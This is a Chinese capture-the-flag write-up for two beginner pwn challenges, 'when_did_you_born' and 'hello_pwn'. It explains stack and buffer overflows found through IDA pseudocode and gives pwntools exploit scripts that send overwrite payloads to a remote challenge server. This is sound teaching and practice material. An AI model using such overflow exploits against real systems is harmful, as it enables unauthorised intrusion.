1、CGfsb:https://blog.csdn.net/zz_Caleb/article/details/88980866
2、when_did_you_born(簡單的ROP)
下載文件,是一個64位的elf文件,放到ida中看僞碼,報錯:
搜了一下這個問題,是棧的問題,可以通過修改一些設置來解決,但是,找到了main函數:
在這個地方查看僞碼不會報錯,而且主函數的源碼可以得到:
分析一下僞碼,v5==1926會讓我們拿到flag,但是,前面對v5進行了過濾,所以我們再輸入的時候就不能把v5的值輸成1926,那怎麼辦呢?我們看到最前面給出了v4和v5的位置:
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
所以v5比v4的地址大了8位,而在輸入v4的時候用的是gets函數,不會對輸入的字符串長度進行限制,所以我們可以利用變量的溢出,將溢出的數據覆蓋v5使v5的值爲1926,構造payload = "A"*8 + p32(1926)即可。
下面給出腳本:
from pwn import *
p = remote('111.198.29.45', 31788)
p.sendlineafter('Birth?\n', '1998')
payload = 'AAAAAAAA' + p32(1926)
p.sendlineafter('Name?\n', payload)
print(p.recvall())
運行結果:
3、hello_pwn
64位elf文件,ida查看僞碼:
看一下這個sub_400686()函數:
所以我們的目標就是讓dword_60106C == 1853186401,read(0, &unk_601068, 0x10uLL)是將鍵盤輸入的數據存儲到unk_601068中,我們看一下unk_601068的位置發現unk_601068和dword_60106C 的位置只相差4:
我們可以對unk_601068進行輸入,而且這裏也是不限定輸入長度的,所以我們可以輸入unk_601068使其溢出來把1853186401覆蓋到dword_60106C上。
下面給出溢出腳本:
from pwn import *
p = remote('111.198.29.45', 31876)
payload = 'AAAA' + p64(1853186401)
p.recvuntil('helloworld for bof\n')
p.send(payload)
print(p.recv())